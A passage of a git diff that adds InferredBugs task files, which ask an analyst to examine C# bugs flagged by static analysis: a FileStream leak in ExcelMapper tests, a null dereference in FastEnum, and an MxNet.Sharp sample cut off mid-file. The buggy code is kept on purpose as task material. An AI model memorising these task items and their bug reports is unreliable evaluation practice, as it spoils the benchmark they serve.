+                new Product { Name = "Filinchen", NumberInStock = 100, Price = 0.99m, Value = "C5*D5" },
+            }, products);
+        }
+
+        [Test]
+        public void FetchWithTypeUsingStreamAndSheetNameTest()
+        {
+            var stream = new FileStream(@"..\..\..\products.xlsx", FileMode.Open, FileAccess.Read);
+            var products = new ExcelMapper().Fetch(stream, typeof(Product), "Tabelle1");
+
+            CollectionAssert.AreEqual(new List<Product>
+            {
+                new Product { Name = "Nudossi", NumberInStock = 60, Price = 1.99m, Value = "C2*D2" },
+                new Product { Name = "Halloren", NumberInStock = 33, Price = 2.99m, Value = "C3*D3" },
+                new Product { Name = "Filinchen", NumberInStock = 100, Price = 0.99m, Value = "C5*D5" },
+            }, products);
+        }
+
+        [Test]
+        public void FetchWithFileAndSheetNameTest()
+        {
+            var products = new ExcelMapper().Fetch<Product>(@"..\..\..\products.xlsx", "Tabelle1");
+
+            CollectionAssert.AreEqual(new List<Product>
+            {
+                new Product { Name = "Nudossi", NumberInStock = 60, Price = 1.99m, Value = "C2*D2" },
+                new Product { Name = "Halloren", NumberInStock = 33, Price = 2.99m, Value = "C3*D3" },
+                new Product { Name = "Filinchen", NumberInStock = 100, Price = 0.99m, Value = "C5*D5" },
+            }, products);
+        }
+
+        [Test]
+        public void FetchWithFileAndIndexTest()
+        {
+            var products = new ExcelMapper().Fetch<Product>(@"..\..\..\products.xlsx", 0);
+
+            CollectionAssert.AreEqual(new List<Product>
+            {
+                new Product { Name = "Nudossi", NumberInStock = 60, Price = 1.99m, Value = "C2*D2" },
+                new Product { Name = "Halloren", NumberInStock = 33, Price = 2.99m, Value = "C3*D3" },
+                new Product { Name = "Filinchen", NumberInStock = 100, Price = 0.99m, Value = "C5*D5" },
+            }, products);
+        }
+
+        [Test]
+        public void FetchWithTypeThrowsExceptionWithPrimitivesTest()
+        {
+            var excel = new ExcelMapper(@"..\..\..\products.xlsx");
+            Assert.Throws<ArgumentException>(() => excel.Fetch(typeof(string)));
+            Assert.Throws<ArgumentException>(() => excel.Fetch(typeof(object)));
+            Assert.Throws<ArgumentException>(() => excel.Fetch(typeof(int)));
+            Assert.Throws<ArgumentException>(() => excel.Fetch(typeof(double?)));
+        }
+
+        [Test]
+        public void FetchValueTest()
+        {
+            var products = new ExcelMapper(@"..\..\..\products.xlsx").Fetch<ProductValue>().ToList();
+            CollectionAssert.AreEqual(new List<decimal> { 119.4m, 98.67m, 99m }, products.Select(p => p.Value).ToList());
+        }
+
+        [Test]
+        public void FetchValueWithTypeTest()
+        {
+            var products = new ExcelMapper(@"..\..\..\products.xlsx").Fetch(typeof(ProductValue))
+                                                                     .OfType<ProductValue>()
+                                                                     .ToList();
+            CollectionAssert.AreEqual(new List<decimal> { 119.4m, 98.67m, 99m }, products.Select(p => p.Value).ToList());
+        }
+
+        private class ProductException : Product
+        {
+            public bool Offer { get; set; }
+        }
+
+        [Test]
+        public void FetchExcpetionWhenEmptyTest()
+        {
+            var ex = Assert.Throws<ExcelMapperConvertException>(() => new ExcelMapper(@"..\..\..\productsExceptionEmpty.xlsx").Fetch<ProductException>().ToList());
+            Assert.That(ex.Message.Contains("<EMPTY>"));
+            Assert.That(ex.Message.Contains("[L:1]:[C:2]"));
+        }
+
+        [Test]
+        public void FetchWithTypeExcpetionWhenEmptyTest()
+        {
+            var ex = Assert.Throws<ExcelMapperConvertException>(() => new ExcelMapper(@"..\..\..\productsExceptionEmpty.xlsx").Fetch(typeof(ProductException))
+                                                                                                                              .OfType<ProductException>()
+                                                                                                                              .ToList());
+            Assert.That(ex.Message.Contains("<EMPTY>"));
+            Assert.That(ex.Message.Contains("[L:1]:[C:2]"));
+        }
+
+        [Test]
+        public void FetchExcpetionWhenFieldTooBigTest()
+        {
+            var ex = Assert.Throws<ExcelMapperConvertException>(() => new ExcelMapper(@"..\..\..\productsExceptionTooBig.xlsx").Fetch<ProductException>().ToList());
+            //2147483649 is Int.MaxValue + 1
+            Assert.That(ex.Message.Contains("2147483649"));
+            Assert.That(ex.Message.Contains("[L:1]:[C:1]"));
+        }
+
+        [Test]
+        public void FetchExcpetionWhenFieldInvalidTest()
+        {
+            var ex = Assert.Throws<ExcelMapperConvertException>(() => new ExcelMapper(@"..\..\..\productsExceptionInvalid.xlsx").Fetch<ProductException>().ToList());
+            Assert.That(ex.Message.Contains("FALSEd"));
+            Assert.That(ex.Message.Contains("[L:1]:[C:3]"));
+        }
+
+        [Test]
+        public void FetchExceptionWhenSheetDoesNotExists()
+        {
+            var ex = Assert.Throws<ArgumentOutOfRangeException>(() => new ExcelMapper(@"..\..\..\productsExceptionInvalid.xlsx").Fetch<ProductException>("this sheet does not exist").ToList());
+            Assert.That(ex.Message.Contains("Sheet not found"));
+        }
+
+        [Test]
+        public void FetchWithTypeThrowsExceptionWhenSheetDoesNotExists()
+        {
+            var ex = Assert.Throws<ArgumentOutOfRangeException>(() => new ExcelMapper(@"..\..\..\productsExceptionInvalid.xlsx").Fetch(typeof(ProductException), "This is not a exist")
+                                                                                                                                .OfType<ProductException>()
+                                                                                                                                .ToList());
+            Assert.That(ex.Message.Contains("Sheet not found"));
+        }
+
+        private class ProductNoHeader
+        {
+            [Column(1)]
+            public string Name { get; set; }
+            [Column(3)]
+            public int NumberInStock { get; set; }
+            [Column(4)]
+            public decimal Price { get; set; }
+
+            public override bool Equals(object obj)
+            {
+                if (!(obj is ProductNoHeader o)) return false;
+                return o.Name == Name && o.NumberInStock == NumberInStock && o.Price == Price;
+            }
+
+            public override int GetHashCode()
+            {
+                return (Name + NumberInStock + Price).GetHashCode();
+            }
+        }
+
+        [Test]
+        public void FetchNoHeaderTest()
+        {
+            var products = new ExcelMapper(@"..\..\..\productsnoheader.xlsx") { HeaderRow = false }.Fetch<ProductNoHeader>("Products").ToList();
+            CollectionAssert.AreEqual(new List<ProductNoHeader>
+            {
+                new ProductNoHeader { Name = "Nudossi", NumberInStock = 60, Price = 1.99m },
+                new ProductNoHeader { Name = "Halloren", NumberInStock = 33, Price = 2.99m },
+                new ProductNoHeader { Name = "Filinchen", NumberInStock = 100, Price = 0.99m },
+            }, products);
+        }
+
+        [Test]
+        public void FetchWithTypeNoHeaderTest()
+        {
+            var products = new ExcelMapper(@"..\..\..\productsnoheader.xlsx") { HeaderRow = false }.Fetch(typeof(ProductNoHeader), "Products")
+                                                                                                   .OfType<ProductNoHeader>()
+                                                                                                   .ToList();
+            CollectionAssert.AreEqual(new List<ProductNoHeader>
+            {
+                new ProductNoHeader { Name = "Nudossi", NumberInStock = 60, Price = 1.99m },
+                new ProductNoHeader { Name = "Halloren", NumberInStock = 33, Price = 2.99m },
+                new ProductNoHeader { Name = "Filinchen", NumberInStock = 100, Price = 0.99m },
+            }, products);
+        }
+
+        [Test]
+        public void SaveTest()
+        {
+            var products = new List<Product>
+            {
+                new Product { Name = "Nudossi", NumberInStock = 60, Price = 1.99m, Value = "C2*D2" },
+                new Product { Name = "Halloren", NumberInStock = 33, Price = 2.99m, Value = "C3*D3" },
+                new Product { Name = "Filinchen", NumberInStock = 100, Price = 0.99m, Value = "C4*D4" },
+            };
+
+            var file = "productssave.xlsx";
+
+            new ExcelMapper().Save(file, products, "Products");
+
+            var productsFetched = new ExcelMapper(file).Fetch<Product>().ToList();
+
+            CollectionAssert.AreEqual(products, productsFetched);
+        }
+
+        [Test]
+        public void SaveNoHeaderSaveTest()
+        {
+            var products = new List<ProductNoHeader>
+            {
+                new ProductNoHeader { Name = "Nudossi", NumberInStock = 60, Price = 1.99m },
+                new ProductNoHeader { Name = "Halloren", NumberInStock = 33, Price = 2.99m },
+                new ProductNoHeader { Name = "Filinchen", NumberInStock = 100, Price = 0.99m },
+            };
+
+            var file = "productsnoheadersave.xlsx";
+
+            new ExcelMapper() { HeaderRow = false }.Save(file, products, "Products");
+
+            var productsFetched = new ExcelMapper(file) { HeaderRow = false }.Fetch<ProductNoHeader>().ToList();
+
+            CollectionAssert.AreEqual(products, productsFetched);
+        }
+
+        [Test]
+        public void SaveFetchedTest()
+        {
+            var excel = new ExcelMapper(@"..\..\..\products.xlsx");
+            var products = excel.Fetch<Product>().ToList();
+
+            products[2].Price += 1.0m;
+
+            var file = @"productssavefetched.xlsx";
+
+            excel.Save(file, products);
+
+            var productsFetched = new ExcelMapper(file).Fetch<Product>().ToList();
+
+            CollectionAssert.AreEqual(products, productsFetched);
+        }
+
+        private class ProductMapped
+        {
+            public string NameX { get; set; }
+            public int NumberX { get; set; }
+            public decimal PriceX { get; set; }
+
+            public override bool Equals(object obj)
+            {
+                if (!(obj is ProductMapped o)) return false;
+                return o.NameX == NameX && o.NumberX == NumberX && o.PriceX == PriceX;
+            }
+
+            public override int GetHashCode()
+            {
+                return (NameX + NumberX + PriceX).GetHashCode();
+            }
+        }
+
+        [Test]
+        public void SaveTrackedObjectsTest()
+        {
+            var excel = new ExcelMapper(@"..\..\..\products.xlsx") { TrackObjects = true };
+
+            excel.AddMapping(typeof(ProductMapped), "Name", "NameX");
+            excel.AddMapping<ProductMapped>("Number", p => p.NumberX);
+            excel.AddMapping<ProductMapped>("Price", p => p.PriceX);
+
+            var products = excel.Fetch<ProductMapped>().ToList();
+
+            products[1].PriceX += 1.0m;
+
+            var file = @"productssavetracked.xlsx";
+
+            excel.Save(file);
+
+            var productsFetched = new ExcelMapper(file).Fetch<ProductMapped>().ToList();
+
+            CollectionAssert.AreEqual(products, productsFetched);
+        }
+
+        private class GetterSetterProduct
+        {
+            public string Name { get; set; }
+            public DateTime? OfferEnd { get; set; }
+
+            public override bool Equals(object obj)
+            {
+                if (!(obj is GetterSetterProduct o)) return false;
+                return o.Name == Name && o.OfferEnd == OfferEnd;
+            }
+
+            public override int GetHashCode()
+            {
+                return (Name + OfferEnd).GetHashCode();
+            }
+        }
+
+        [Test]
+        public void GetterSetterTest()
+        {
+            var excel = new ExcelMapper(@"..\..\..\productsconvert.xlsx") { TrackObjects = true };
+
+            excel.AddMapping<GetterSetterProduct>("Name", p => p.Name);
+            excel.AddMapping<GetterSetterProduct>("OfferEnd", p => p.OfferEnd)
+                .SetCellUsing((c, o) =>
+                {
+                    if (o == null) c.SetCellValue("NULL"); else c.SetCellValue((DateTime)o);
+                })
+                .SetPropertyUsing(v =>
+                {
+                    if ((v as string) == "NULL") return null;
+                    return Convert.ChangeType(v, typeof(DateTime), CultureInfo.InvariantCulture);
+                });
+
+            var products = excel.Fetch<GetterSetterProduct>().ToList();
+
+            var file = @"productsconverttracked.xlsx";
+
+            excel.Save(file);
+
+            var productsFetched = new ExcelMapper(file).Fetch<GetterSetterProduct>().ToList();
+
+            CollectionAssert.AreEqual(products, productsFetched);
+        }
+
+        private class IgnoreProduct
+        {
+            public string Name { get; set; }
+            [Ignore]
+            public int Number { get; set; }
+            public decimal Price { get; set; }
+            public bool Offer { get; set; }
+            public DateTime OfferEnd { get; set; }
+
+            public override bool Equals(object obj)
+            {
+                if (!(obj is IgnoreProduct o)) return false;
+                return o.Name == Name && o.Number == Number && o.Price == Price && o.Offer == Offer && o.OfferEnd == OfferEnd;
+            }
+
+            public override int GetHashCode()
+            {
+                return (Name + Number + Price + Offer + OfferEnd).GetHashCode();
+            }
+        }
+
+        [Test]
+        public void IgnoreTest()
+        {
+            var excel = new ExcelMapper(@"..\..\..\products.xlsx");
+            excel.Ignore<IgnoreProduct>(p => p.Price);
+            var products = excel.Fetch<IgnoreProduct>().ToList();
+
+            var nudossi = products[0];
+            Assert.AreEqual("Nudossi", nudossi.Name);
+            Assert.AreEqual(0, nudossi.Number);
+            Assert.AreEqual(0m, nudossi.Price);
+            Assert.IsFalse(nudossi.Offer);
+
+            var halloren = products[1];
+            Assert.IsTrue(halloren.Offer);
+            Assert.AreEqual(new DateTime(2015, 12, 31), halloren.OfferEnd);
+
+            var file = "productsignored.xlsx";
+
+            new ExcelMapper().Save(file, products, "Products");
+
+            var productsFetched = new ExcelMapper(file).Fetch<IgnoreProduct>().ToList();
+
+            CollectionAssert.AreEqual(products, productsFetched);
+        }
+
+        private class NullableProduct
+        {
+            public string Name { get; set; }
+            public int? Number { get; set; }
+            public decimal? Price { get; set; }
+            public bool? Offer { get; set; }
+            public DateTime? OfferEnd { get; set; }
+
+            public override bool Equals(object obj)
+            {
+                if (!(obj is NullableProduct o)) return false;
+                return o.Name == Name && o.Number == Number && o.Price == Price && o.Offer == Offer && o.OfferEnd == OfferEnd;
+            }
+
+            public override int GetHashCode()
+            {
+                return (Name + Number + Price + Offer + OfferEnd).GetHashCode();
+            }
+        }
+
+        [Test]
+        public void NullableTest()
+        {
+            var workbook = WorkbookFactory.Create(@"..\..\..\products.xlsx");
+            var excel = new ExcelMapper(workbook);
+            var products = excel.Fetch<NullableProduct>().ToList();
+
+            var nudossi = products[0];
+            Assert.AreEqual("Nudossi", nudossi.Name);
+            Assert.AreEqual(60, nudossi.Number);
+            Assert.AreEqual(1.99m, nudossi.Price);
+            Assert.IsFalse(nudossi.Offer.Value);
+            nudossi.OfferEnd = null;
+
+            var halloren = products[1];
+            Assert.IsTrue(halloren.Offer.Value);
+            Assert.AreEqual(new DateTime(2015, 12, 31), halloren.OfferEnd);
+            halloren.Number = null;
+            halloren.Offer = null;
+
+            var file = "productsnullable.xlsx";
+
+            new ExcelMapper().Save(file, products, "Products");
+
+            var productsFetched = new ExcelMapper(file).Fetch<NullableProduct>().ToList();
+
+            CollectionAssert.AreEqual(products, productsFetched);
+        }
+
+        private class DataFormatProduct
+        {
+            [DataFormat(0xf)]
+            public DateTime Date { get; set; }
+
+            [DataFormat("0%")]
+            public decimal Number { get; set; }
+        }
+
+        [Test]
+        public void DataFormatTest()
+        {
+            var p = new DataFormatProduct { Date = new DateTime(2015, 12, 31), Number = 0.47m };
+            var file = "productsdataformat.xlsx";
+            new ExcelMapper().Save(file, new[] { p });
+            var pfs = new ExcelMapper(file).Fetch<DataFormatProduct>().ToList();
+
+            Assert.AreEqual(1, pfs.Count);
+            var pf = pfs[0];
+            Assert.AreEqual(p.Date, pf.Date);
+            Assert.AreEqual(p.Number, pf.Number);
+        }
+
+        private class DataItem
+        {
+            [Ignore]
+            public string Bql { get; set; }
+
+            [Ignore]
+            public int Id { get; set; }
+
+            [Column(2)]
+            public string OriginalBql { get; set; }
+
+            [Column(1)]
+            public string Title { get; set; }
+
+            [Column(3)]
+            public string TranslatedBql { get; set; }
+
+            public override bool Equals(object obj)
+            {
+                if (!(obj is DataItem o)) return false;
+                return o.Bql == Bql && o.Id == Id && o.OriginalBql == OriginalBql && o.Title == Title && o.TranslatedBql == TranslatedBql;
+            }
+
+            public override int GetHashCode()
+            {
+                return (Bql + Id + OriginalBql + Title + TranslatedBql).GetHashCode();
+            }
+        }
+
+        [Test]
+        public void ColumnTest()
+        {
+            var excel = new ExcelMapper(@"..\..\..\dataitems.xlsx") { HeaderRow = false };
+            var items = excel.Fetch<DataItem>().ToList();
+
+            var trackedFile = "dataitemstracked.xlsx";
+            excel.Save(trackedFile, "DataItems");
+            var itemsTracked = excel.Fetch<DataItem>(trackedFile, "DataItems").ToList();
+            CollectionAssert.AreEqual(items, itemsTracked);
+
+            var saveFile = "dataitemssave.xlsx";
+            new ExcelMapper().Save(saveFile, items, "DataItems");
+            var itemsSaved = new ExcelMapper().Fetch<DataItem>(saveFile, "DataItems").ToList();
+            CollectionAssert.AreEqual(items, itemsSaved);
+        }
+
+        [Test]
+        public void ColumnTestUsingFetchWithType()
+        {
+            var excel = new ExcelMapper(@"..\..\..\dataitems.xlsx") { HeaderRow = false };
+            var items = excel.Fetch(typeof(DataItem)).OfType<DataItem>().ToList();
+
+            var trackedFile = "dataitemstracked.xlsx";
+            excel.Save(trackedFile, "DataItems");
+            var itemsTracked = excel.Fetch(trackedFile, typeof(DataItem), "DataItems").OfType<DataItem>().ToList();
+            CollectionAssert.AreEqual(items, itemsTracked);
+
+            var saveFile = "dataitemssave.xlsx";
+            new ExcelMapper().Save(saveFile, items, "DataItems");
+            var itemsSaved = new ExcelMapper().Fetch(saveFile, typeof(DataItem), "DataItems").OfType<DataItem>().ToList();
+            CollectionAssert.AreEqual(items, itemsSaved);
+        }
+
+        [Test]
+        public void FetchMinMaxTest()
+        {
+            var products = new ExcelMapper(@"..\..\..\ProductsMinMaxRow.xlsx")
+            {
+                HeaderRowNumber = 2,
+                MinRowNumber = 6,
+                MaxRowNumber = 9,
+            }.Fetch<Product>().ToList();
+            CollectionAssert.AreEqual(new List<Product>
+            {
+                new Product { Name = "Nudossi", NumberInStock = 60, Price = 1.99m, Value = "C7*D7" },
+                new Product { Name = "Halloren", NumberInStock = 33, Price = 2.99m, Value = "C8*D8" },
+                new Product { Name = "Filinchen", NumberInStock = 100, Price = 0.99m, Value = "C10*D10" },
+            }, products);
+        }
+
+        [Test]
+        public void SaveMinMaxTest()
+        {
+            var products = new List<Product>
+            {
+                new Product { Name = "Nudossi", NumberInStock = 60, Price = 1.99m, Value = "C2*D2" },
+                new Product { Name = "Halloren", NumberInStock = 33, Price = 2.99m, Value = "C3*D3" },
+                new Product { Name = "Filinchen", NumberInStock = 100, Price = 0.99m, Value = "C4*D4" },
+            };
+
+            var file = "productsminmaxsave.xlsx";
+
+            new ExcelMapper
+            {
+                HeaderRowNumber = 1,
+                MinRowNumber = 3
+            }.Save(file, products, "Products");
+
+            var productsFetched = new ExcelMapper(file)
+            {
+                HeaderRowNumber = 1,
+                MinRowNumber = 3
+            }.Fetch<Product>().ToList();
+
+            CollectionAssert.AreEqual(products, productsFetched);
+        }
+
+        [Test]
+        public void FormulaResultAttributeTest()
+        {
+            var products = new ExcelMapper(@"..\..\..\ProductsAsString.xlsx").Fetch<ProductValueString>().ToList();
+            CollectionAssert.AreEqual(new List<string> { "119.4", "98.67", "99" }, products.Select(p => p.ValueAsString).ToList());
+        }
+
+        private class ProductFormulaMapped
+        {
+            public decimal Result { get; set; }
+            public string Formula { get; set; }
+            public string ResultString { get; set; }
+
+            public override bool Equals(object obj)
+            {
+                if (!(obj is ProductFormulaMapped o)) return false;
+                return o.Result == Result && o.Formula == Formula && o.ResultString == ResultString;
+            }
+
+            public override int GetHashCode()
+            {
+                return (Formula + ResultString + Result).GetHashCode();
+            }
+        }
+
+        [Test]
+        public void FormulaResultMappedTest()
+        {
+            var excel = new ExcelMapper(@"..\..\..\ProductsAsString.xlsx");
+
+            excel.AddMapping<ProductFormulaMapped>("Value", p => p.Result);
+            excel.AddMapping<ProductFormulaMapped>("ValueDefaultAsFormula", p => p.Formula);
+            excel.AddMapping<ProductFormulaMapped>("ValueAsString", p => p.ResultString).AsFormulaResult();
+
+            var products = excel.Fetch<ProductFormulaMapped>().ToList();
+            var expectedProducts = new List<ProductFormulaMapped>
+            {
+                new ProductFormulaMapped { Result = 119.4m, Formula = "C2*D2", ResultString = "119.4" },
+                new ProductFormulaMapped { Result = 98.67m, Formula = "C3*D3", ResultString = "98.67" },
+                new ProductFormulaMapped { Result = 99m, Formula = "C5*D5", ResultString = "99" },
+            };
+
+            Assert.AreEqual(expectedProducts[0], products[0]);
+
+            CollectionAssert.AreEqual(expectedProducts, products);
+        }
+
+        [Test]
+        public void TestExcelMapperConvertException()
+        {
+            ExcelMapperConvertException ex =
+                new ExcelMapperConvertException("cellvalue", typeof(string), 12, 34);
+
+            // Sanity check: Make sure custom properties are set before serialization
+            Assert.AreEqual(12, ex.Line);
+            Assert.AreEqual(34, ex.Column);
+
+            // Round-trip the exception: Serialize and de-serialize with a BinaryFormatter
+            var bf = new BinaryFormatter();
+            using (var ms = new MemoryStream())
+            {
+                // "Save" object state
+                bf.Serialize(ms, ex);
+
+                // Re-use the same stream for de-serialization
+                ms.Seek(0, 0);
+
+                // Replace the original exception with de-serialized one
+                ex = (ExcelMapperConvertException)bf.Deserialize(ms);
+            }
+
+            // Make sure custom properties are preserved after serialization
+            Assert.AreEqual(12, ex.Line);
+            Assert.AreEqual(34, ex.Column);
+
+            Assert.Throws<ArgumentNullException>(() => ex.GetObjectData(null, new System.Runtime.Serialization.StreamingContext()));
+        }
+    }
+}
+
+```
+
+### Bug Type:
+DOTNET_RESOURCE_LEAK
+
+### Qualifier:
+Leaked resource stream of type System.IO.FileStream in method "Void Tests.FetchWithStreamAndIndexTest()".
+
+### Severity:
+ERROR
+
+### Procedure:
+Void Tests.FetchWithStreamAndIndexTest()
+
+### File:
+ExcelMapper.Tests/Tests.cs
+
+### Key:
+Tests.cs|FetchWithStreamAndIndexTest|DOTNET_RESOURCE_LEAK
+
+### Hash:
+43e9ae68463b93fa364e011b0864a091
+
+### Bug Type Hum:
+Dotnet Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-2490/instruction.md b/inferredbugs-2490/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..818965d22f2aa4e2559854cc26b51812df71c00b
--- /dev/null
+++ b/inferredbugs-2490/instruction.md
@@ -0,0 +1,169 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** FastEnum
+**Bug ID:** 1
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System;
+using System.Runtime.CompilerServices;
+using System.Runtime.Serialization;
+
+namespace FastEnumUtility;
+
+
+
+/// <summary>
+/// Provides <see cref="Enum"/> extension methods.
+/// </summary>
+public static partial class FastEnumExtensions
+{
+    /// <summary>
+    /// Converts to the member information of the constant in the specified enumeration value.
+    /// </summary>
+    /// <typeparam name="T"></typeparam>
+    /// <param name="value"></param>
+    /// <returns></returns>
+    [MethodImpl(MethodImplOptions.AggressiveInlining)]
+    public static Member<T>? ToMember<T>(this T value)
+        where T : struct, Enum
+        => FastEnum.GetMember(value);
+
+
+    /// <summary>
+    /// Converts to the name of the constant in the specified enumeration value.
+    /// </summary>
+    /// <typeparam name="T"></typeparam>
+    /// <param name="value"></param>
+    /// <returns>A string containing the name of the enumerated constant in enumType whose value is value; or null if no such constant is found.</returns>
+    [MethodImpl(MethodImplOptions.AggressiveInlining)]
+    public static string? ToName<T>(this T value)
+        where T : struct, Enum
+        => FastEnum.GetName(value);
+
+
+    /// <summary>
+    /// Returns an indication whether a constant with a specified value exists in a specified enumeration.
+    /// </summary>
+    /// <typeparam name="T"></typeparam>
+    /// <param name="value"></param>
+    /// <returns></returns>
+    [MethodImpl(MethodImplOptions.AggressiveInlining)]
+    public static bool IsDefined<T>(this T value)
+        where T : struct, Enum
+        => FastEnum.IsDefined(value);
+
+
+    /// <summary>
+    /// Gets the <see cref="EnumMemberAttribute.Value"/> of specified enumration member.
+    /// </summary>
+    /// <typeparam name="T"></typeparam>
+    /// <param name="value"></param>
+    /// <param name="throwIfNotFound"></param>
+    /// <returns></returns>
+    /// <exception cref="NotFoundException"></exception>
+    [MethodImpl(MethodImplOptions.AggressiveInlining)]
+    public static string? GetEnumMemberValue<T>(this T value, bool throwIfNotFound = true)
+        where T : struct, Enum
+    {
+        var attr = value.ToMember().EnumMemberAttribute;
+        if (attr is not null)
+            return attr.Value;
+
+        return throwIfNotFound
+            ? throw new NotFoundException($"{nameof(EnumMemberAttribute)} is not found.")
+            : default;
+    }
+
+
+    /// <summary>
+    /// Gets the <see cref="LabelAttribute.Value"/> of specified enumration member.
+    /// </summary>
+    /// <typeparam name="T"></typeparam>
+    /// <param name="member"></param>
+    /// <param name="index"></param>
+    /// <param name="throwIfNotFound"></param>
+    /// <returns></returns>
+    /// <exception cref="ArgumentNullException"></exception>
+    /// <exception cref="NotFoundException"></exception>
+    [MethodImpl(MethodImplOptions.AggressiveInlining)]
+    public static string? GetLabel<T>(this Member<T> member, int index = 0, bool throwIfNotFound = true)
+        where T : struct, Enum
+    {
+        if (member is null)
+            throw new ArgumentNullException(nameof(member));
+
+        if (member.Labels.TryGetValue(index, out var label))
+            return label;
+
+        return throwIfNotFound
+            ? throw new NotFoundException($"{nameof(LabelAttribute)} that is specified index {index} is not found.")
+            : default;
+    }
+
+
+    /// <summary>
+    /// Gets the <see cref="LabelAttribute.Value"/> of specified enumration member.
+    /// </summary>
+    /// <typeparam name="T"></typeparam>
+    /// <param name="value"></param>
+    /// <param name="index"></param>
+    /// <param name="throwIfNotFound"></param>
+    /// <returns></returns>
+    [MethodImpl(MethodImplOptions.AggressiveInlining)]
+    public static string? GetLabel<T>(this T value, int index = 0, bool throwIfNotFound = true)
+        where T : struct, Enum
+        => value.ToMember().GetLabel(index, throwIfNotFound);
+}
+
+```
+
+### Bug Type:
+NULLPTR_DEREFERENCE
+
+### Qualifier:
+``Member`1<T> FastEnumExtensions.ToMember(T)`` could be null (from the call to `FastEnumExtensions.ToMember(...)` on line 62) and is dereferenced.
+
+### Severity:
+ERROR
+
+### Procedure:
+String FastEnumExtensions.GetEnumMemberValue(T,Boolean)
+
+### File:
+src/FastEnum/FastEnumExtensions.cs
+
+### Key:
+FastEnumExtensions.cs|GetEnumMemberValue|NULLPTR_DEREFERENCE
+
+### Hash:
+acd5ce0b4d33de26917eafe9224d9119
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-2491/instruction.md b/inferredbugs-2491/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..ecb9d69f71c357530bb7e85e1243a79f00c3fa92
--- /dev/null
+++ b/inferredbugs-2491/instruction.md
@@ -0,0 +1,154 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** MxNet.Sharp
+**Bug ID:** 1
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using MxNetLib;
+using System;
+using MxNetLib.Metrics;
+using MxNetLib.Optimizers;
+using System.Collections.Generic;
+using System.Linq;
+using MxNetLib.NN;
+using MxNetLib.NN.Layers;
+using MxNetLib.NN.Initializers;
+using MxNetLib.NN.Data;
+
+namespace MNIST
+{
+    class Program
+    {
+        static void Main(string[] args)
+        {
+            //Environment.SetEnvironmentVariable("MXNET_ENGINE_TYPE", "NaiveEngine");
+            MXNet.SetDevice(DeviceType.CPU);
+            uint batchSize = 200;
+
+            string trainImagePath = "./mnist_data/train-images-idx3-ubyte";
+            string trainLabelPath = "./mnist_data/train-labels-idx1-ubyte";
+            string valImagePath = "./mnist_data/t10k-images-idx3-ubyte";
+            string valLabelPath = "./mnist_data/t10k-labels-idx1-ubyte";
+
+            var (train, val) = DataSetParser.MNIST(trainImagePath, trainLabelPath, valImagePath, valLabelPath, batchSize, 1);
+            var model = new Module();
+            BuildNNModel(model);
+            //BuildSymbolModel(model);
+            //BuildConvNNModel(model);
+
+            ImageDataFrame frame = new ImageDataFrame(1, 28, 28);
+            frame.LoadImages("test_4.png");
+
+            //NDArray test = frame.ToVariable().Reshape(new Shape(1, 784));
+            //model.Fit(train, 1, batchSize, val);
+
+            //var prediction = model.Predict(test);
+            //var num = nd.Argmax(prediction, 1);
+
+            string modelFolder = "../../../model";
+            model.SaveModel(modelFolder);
+            model.SaveCheckpoint(modelFolder);
+
+            var loadedModel = Module.LoadModel(modelFolder);
+            loadedModel.LoadCheckpoint(modelFolder);
+        }
+
+        private static void BuildSymbolModel(Module model)
+        {
+            model.SetInput(784);
+            var x = Symbol.Variable("X");
+            var fc1 = sym.Relu(sym.FullyConnected(x, Symbol.Variable("fc1_w"), 128));
+            var fc2 = sym.Relu(sym.FullyConnected(fc1, Symbol.Variable("fc2_w"), 128));
+            var fc3 = sym.FullyConnected(fc2, Symbol.Variable("fc3_w"), 10);
+            var output = sym.SoftmaxOutput(fc3, Symbol.Variable("label"), symbol_name: "model");
+
+            model.SetDefaultInitializer(new RandomUniform(-1, 1));
+            model.Compile(output, OptimizerRegistry.SGD(), MetricType.Accuracy);
+        }
+
+        private static void BuildNNModel(Module model)
+        {
+            //FC model 
+            model.SetInput(784);
+
+            model.Add(new Dense(128, ActivationType.ReLU, kernalInitializer: new RandomUniform(-1, 1)));
+            model.Add(new Dense(128, ActivationType.ReLU, kernalInitializer: new RandomUniform(-1, 1)));
+            model.Add(new Dense(10));
+
+            model.Compile(OptimizerRegistry.SGD(), LossType.SoftmaxCategorialCrossEntropy, MetricType.Accuracy);
+        }
+
+        private static void BuildConvNNModel(Module model)
+        {
+            //LeCunn model 
+            model.SetInput(1, 28, 28);
+
+            model.Add(new Conv2D(20, Tuple.Create<uint, uint>(5, 5), activation: ActivationType.ReLU, kernalInitializer: new RandomUniform(-1, 1)));
+            model.Add(new MaxPooling2D(Tuple.Create<uint, uint>(2, 2), Tuple.Create<uint, uint>(2, 2)));
+
+            model.Add(new Conv2D(20, Tuple.Create<uint, uint>(5, 5), activation: ActivationType.ReLU, kernalInitializer: new RandomUniform(-1, 1)));
